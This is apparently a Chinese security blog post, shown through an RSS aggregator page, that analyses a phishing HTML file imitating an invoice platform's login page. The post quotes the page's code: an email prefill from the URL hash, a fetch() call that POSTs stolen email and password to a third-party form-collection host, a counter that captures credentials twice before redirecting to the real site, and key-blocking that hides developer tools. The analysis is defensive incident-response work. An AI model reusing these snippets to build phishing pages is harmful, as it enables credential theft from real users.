惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Hugging Face - Blog
Hugging Face - Blog
云风的 BLOG
云风的 BLOG
大猫的无限游戏
大猫的无限游戏
M
MIT News - Artificial intelligence
L
LangChain Blog
阮一峰的网络日志
阮一峰的网络日志
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
Recent Announcements
Recent Announcements
IT之家
IT之家
Google DeepMind News
Google DeepMind News
罗磊的独立博客
爱范儿
爱范儿
Last Week in AI
Last Week in AI
人人都是产品经理
人人都是产品经理
U
Unit 42
MongoDB | Blog
MongoDB | Blog
S
SegmentFault 最新的问题
B
Blog
博客园 - 叶小钗
月光博客
月光博客
Stack Overflow Blog
Stack Overflow Blog
V
Visual Studio Blog
C
Check Point Blog
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知

卷卷

今日说法 节目汇总笔记 《斯坦福大学人生设计课》读书笔记 我的书单📖 H-worm (VBS蠕虫) 感染事件溯源分析报告 AMOS (Atomic Stealer) 恶意软件深度分析 银狐26年全面复活,对抗强度或已超25年最高水平 Atomic Stealer (AMOS) 回归:ClickFix、伪装加密货币应用与新型 macOS 持久化机制 关于xt.exe的分析报告 GitHub Pages配置Cloudflare CDN踩坑之路 推荐RSS热力图和Github热力图使用指南 学习逆向工程相关概念 zabbix快速上手 学习python高级语法特性例题笔记 学习云计算基本理论学习笔记 学习Docker-Compose命令及镜像构建与推送 ATT &CK 框架实践阅读笔记 rundll32.exe恶意加载DLL文件外联 《悉达多》读书笔记 《稀缺》读书笔记 《认知觉醒》读书笔记 《营养学》读书笔记 《心理学》读书笔记 热💖生活 C++开发环境配置与程序运行笔记 IDA Free调试Hello World笔记 逆向免杀 Admin.canway账号命名方式 BAS - Breach and Attack Simulation Windows核心系统进程链与svchost深度解析 企业测试环境的弱口令需要整改吗
仿真钓鱼页面窃取用户凭证
卷卷 · 2026-01-04 · via 卷卷

仿真钓鱼页面窃取用户凭证

原创2026/1/4...大约 3 分钟


钓鱼最简单的方法就是网页复制下来修改后发给受害者窃取账密。
可惜出师未捷身先死~~~
告警报检测到恶意文件,根据告警信息找到了用户。
用户收到电子邮件并且还联系了用户。

邮件
邮件

拿到文件就以HTML。页面模仿了“某某发票平台”官网的登录模块,包括通过Base64内联编码的Logo图像、底部版权声明及隐私政策链接布局,甚至连页面标题和浏览器图标都指向了真实的官网CDN资源。

钓鱼页面
钓鱼页面

攻击载荷隐藏在表单提交事件处理器(addEventListener('submit'))中。当用户在仿冒页面输入账号密码并点击“快速登录”按钮后,页面会执行以下恶意流程:

前端代码会对用户输入的“邮箱”字段进行预处理。它尝试从当前浏览器地址栏的URL片段标识符(即window.location.hash​)中提取经过Base64编码或明文传递的邮箱字符串,并自动填充到输入框。通过构造形如hxxps://fake-invoice-login.xxx/#dGVzdHVzZXJAZ21haWwuY29t的链接,实现针对特定目标的个性化攻击,提升欺骗成功率。

// URL hash 自动填充邮箱
const hash = decodeURIComponent(window.location.hash.substring(1));
document.getElementById('email').value = decoded;

面通过一个fetch​ API请求,以application/x-www-form-urlencoded格式,将用户输入的明文邮箱、经过Base64二次编码的邮箱以及明文密码,通过HTTP POST方法发送至一个第三方表单收集服务域名。用于接收窃取凭证。

// 将用户输入的邮箱和密码发送到第三方服务器
fetch('https://submit-form.com/c5ibqklFJ', {
  method: 'POST',
  body: `email=${encodeURIComponent(email)}&password=${encodeURIComponent(password)}`
})

页面设计了一个“尝试次数”控制逻辑。代码中定义了一个计数器变量attempts​。当用户首次提交表单并触发数据外传后,计数器累加,页面会显示一条错误信息:“邮箱或密码错误 第 1 次尝试”,诱导用户再次输入。当用户第二次提交(即attempts >= 2​)时,页面才会执行最终跳转,将用户浏览器重定向至“某票平台”真正的官方登录页面(hxxps://xxxx.com/chn/en/login)。它为攻击者提供了两次窃取用户凭证的机会,用户可能会怀疑自己首次输错;最终导向真实官网的跳转,完美地掩盖了中间发生的盗窃行为,用户大概率会认为是自己记错了密码,而不会意识到凭证已泄露。

第3次尝试才跳转到真正的登录页面
前2次尝试会窃取凭证

let attempts = 0;
if (attempts >= 2) {
  window.location.href = 'https://xxxx.com/chn/en/login';
}

攻击代码中还包括通过键盘事件监听,禁用浏览器的F12开发者工具、Ctrl+U查看源码、Ctrl+Shift+I打开控制台以及复制、全选等常用快捷键。同时,它还禁用了页面文本的选择和拖拽操作。并且这代码还是用AI生成的。

<script>
  // Disable key combinations
  document.addEventListener('keydown', function(e) {
    // F12
    if (e.key === "F12") e.preventDefault();

    // Ctrl+U, Ctrl+S, Ctrl+C, Ctrl+Shift+I
    if ((e.ctrlKey && e.key === 'u') ||
        (e.ctrlKey && e.key === 's') ||
        (e.ctrlKey && e.key === 'c') ||
        (e.ctrlKey && e.shiftKey && e.key.toLowerCase() === 'i')) {
      e.preventDefault();
    }

    // Ctrl+A or Ctrl+X (cut/copy all)
    if ((e.ctrlKey && e.key === 'a') ||
        (e.ctrlKey && e.key === 'x')) {
      e.preventDefault();

  // Optional: Disable text selection
  document.addEventListener('selectstart', function(e) {

  // Optional: Disable drag events
  document.addEventListener('dragstart', function(e) {

</script>